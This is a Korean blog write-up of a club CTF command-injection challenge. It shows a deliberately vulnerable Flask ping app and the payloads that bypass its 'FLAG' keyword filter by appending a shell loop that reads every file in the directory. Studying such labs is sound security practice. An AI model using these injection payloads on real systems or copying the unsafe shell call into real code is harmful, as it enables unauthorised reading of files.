Web Hacking/SWLUG 내부 CTF

[SWLUG] CMDi2- write up

hanbunny 2025. 4. 14. 11:43

🐰시작!

CMDi1과 같이 IP주소창이 뜨고 시작한다.

소스코드를 먼저 열어봤다.

from flask import Flask, request, render_template_string
import subprocess

app = Flask(__name__)

@app.route('/')
def index():
    return '''
    <h1>Command Injection 2</h1>
    <form action="/ping" method="GET">
        IP Address: <input type="text" id="ip" name="ip">
        <input type="submit" id="submit" value="Ping">
    </form>
    '''

@app.route('/ping')
def ping():
    ip = request.args.get('ip', '')
    if ip:
        if 'FLAG' in ip:    // FLAG 가 ip에 있으면
            return "No FLAG~!", 400     // "No FLAG~!" 가 뜬다.

    command = f"ping -c 1 {ip}"
    try:
        result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, text=True)
        return render_template_string('<pre>{{ result }}</pre>', result=result)
    except subprocess.CalledProcessError as e:
        return render_template_string('<pre>{{ result }}</pre>', result=e.output)

if __name__ == '__main__':
    app.run(host='0.0.0.0')
 if 'FLAG' in ip:    // FLAG 가 ip에 있으면
            return "No FLAG~!", 400     // "No FLAG~!" 가 뜬다.

FLAG문자열을 필터링한다고 써있다.

ls명령어로 파일목록을 봤는데 FLAG.txt 파일이 있다.

FLAG문자열에 특수문자를 추가하거나 인코딩을 해 우회하면 열 수 있을 거 같음.

먼저 FLAG.txt 파일을 열어보려 시도해봤다.

역시 FLAG문자열을 그대로 입력해 파일을 열어봤더니 NO FLAG가 뜬다.

FLAG.txt 에서 FLAG문자열에 특수문자를 추가해 우회하는 것보다, 모든 파일을 한 번에 열면 더 빠르게 열 수 있겠다 생각해 파일명은 입력하지 않고 현재 디렉토리에 있는 모든 파일을 여는 명령어를 찾아봤다.

<모든 파일을 한 번에 여는 명령어>

127.0.0.1; for file in *; do cat "$file"; done 

or

127.0.0.1; for file in *; cat *

풀렸음.

'Web Hacking > SWLUG 내부 CTF' 카테고리의 다른 글

[SWLUG] FILE Download1- write up  (0) 2025.04.14
[SWLUG] CMDi1- write up  (0) 2025.04.14
[SWLUG] URL1 - write up  (0) 2025.04.14
[SWLUG] Sqli7 - write up  (0) 2025.04.14
[SWLUG] Sqli5 - write up  (0) 2025.04.14